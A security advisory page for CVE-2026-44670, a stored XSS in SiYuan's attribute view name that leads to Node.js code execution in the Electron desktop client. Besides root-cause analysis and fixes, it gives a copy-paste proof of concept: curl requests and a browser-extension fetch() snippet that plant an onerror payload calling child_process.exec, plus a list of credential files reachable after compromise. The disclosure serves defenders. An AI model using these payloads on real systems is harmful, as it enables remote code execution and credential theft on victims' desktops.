Skip to content

GHSA-2h64-c999-c9r6 CVE-2026-44670 GO-2026-4992

SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Critical Go
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.51%
Chance of exploitation in the next 30 days. Higher than 43.47% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1188 Initialization of a Resource with an Insecure Default
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
0.0.0-20260512140701-d7b77d945e0d
Upgrade github.com/siyuan-note/siyuan/kernel to this version or later

Description

Summary

The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.

Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.

Details

Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:

attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView)         // ← no html.EscapeString

Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:

const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName)   // ← raw

Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):

<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;

Same pattern in kanban/render.ts:227 and gallery/render.ts:142.

Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:

response.data.attrViews.forEach((item: { id: string, name: string }) => {
    avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;

Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:

const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name")     { nameHTML  = `...${escapeHTML}...`; }
else if (key === "alias")    { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo")     { memoHTML  = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
    avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;

The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.

Renderer posture — RCE multiplier. app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true, webviewTag: true,
    webSecurity: false, contextIsolation: false,
}

Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.

Suggested fix

  1. kernel/model/attribute_view.go getAvNames (line 3283-3284): replace the two strings.ReplaceAll calls with template.HTMLEscapeString(nodeAvName) for the ${avName} substitution.
  2. transaction.ts:559: wrap with Lute.EscapeHTMLStr to match siblings at lines 549-557.
  3. render.ts:120: use Lute.EscapeHTMLStr(data.name) for both data-title= and the text content.
  4. Title.ts:396: escape item.name via Lute.EscapeHTMLStr and item.id via escapeAttr.
  5. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.

Prereqs

  1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at ~/SiYuanWorkspace is initialized. Do not set an Access Authorization Code (default).
  2. Verify the kernel responds:
    curl -s http://127.0.0.1:6806/api/system/version
    
    Expected output (single line of JSON):
    {"code":0,"msg":"","data":"3.6.5"}
    
  3. Pin shell variables for the rest of the PoC:
    API=http://127.0.0.1:6806
    WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere
    
    NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
      -H 'Content-Type: application/json' -d '{}' \
      | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
    echo "Using notebook: $NOTEBOOK_ID"
    
    Expected: a 14-digit-timestamp + -7chars ID like 20240101120000-abc1234. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.

Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)

The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:

  1. Open SiYuan. In any document, type /database and press Enter (or open the slash-command menu and pick Database).

  2. The editor inserts an Attribute View block. The kernel writes a JSON file to <workspace>/data/storage/av/<av-id>.json.

  3. Capture the AV ID — the most recently written file in that directory:

    AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
    AV_ID=$(basename "$AV_FILE" .json)
    echo "AV_ID: $AV_ID"
    

    Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)

  4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set:

    DOC_ID=<root-block-id-of-the-doc-containing-the-AV>
    

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
    }],
    "undoOperations": []
  }]
}
EOF

Expected response:

{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}

Step C — Verify the unescaped storage

python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"

Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):

<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">

Step D — Trigger

In the SiYuan desktop client:

  1. Switch away from the doc that contains the AV (open another doc, or close the tab).
  2. Re-open the doc containing the AV ($DOC_ID).
  3. The AV body header is rendered via genTabHeaderHTML → outerHTML at app/src/protyle/render/av/render.ts:596. The browser parses the <img> tag, fails to load src=x, and fires onerror.
  4. Calculator (or xcalc / open -a Calculator) launches.

If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():

// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
    }] }]
  })
});

The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json

# Restart SiYuan to clear in-memory state

Impact

  • RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
  • Persistent — payload survives restart, syncs across devices, rides in .sy.zip exports and Bazaar templates.
  • Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
  • After RCE: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json — kernel API token + AccessAuthCode hash), persistence (.bashrc / Startup folder / LaunchAgent), cloud-account pivot.
  • Attack vectors: browser extensions (chrome-extension:// Origin allowlisted); shared .sy.zip files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

Affected versions

Go

PackageVulnerableFixed in
github.com/siyuan-note/siyuan/kernel
< 0.0.0-20260512140701-d7b77d945e0d
0.0.0-20260512140701-d7b77d945e0d

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/siyuan-note/siyuan/kernel Go → 0.0.0-20260512140701-d7b77d945e0d

go
go get github.com/siyuan-note/siyuan/kernel@v0.0.0-20260512140701-d7b77d945e0d && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-1188: Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the product's installer, administrator, or maintainer, but the default is not secure.

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
  • Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
  • Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
  • Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
  • Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-xp3q-r38w-vgqm
SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-9cqf-hhrq-7v45
SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-57v5-wqx3-cgj4
SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-4wwp-f6gw-6qm5
SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-3cm4-ccvw-6xr6
SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/*
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-x8gv-g2g3-65fj
SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF)
High Also affects github.com/siyuan-note/siyuan/kernel
GHSA-p23f-cm6q-2qp8
SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass)
Medium Also affects github.com/siyuan-note/siyuan/kernel
GHSA-rpx2-p6hp-x5gj
SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin
Medium Also affects github.com/siyuan-note/siyuan/kernel
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor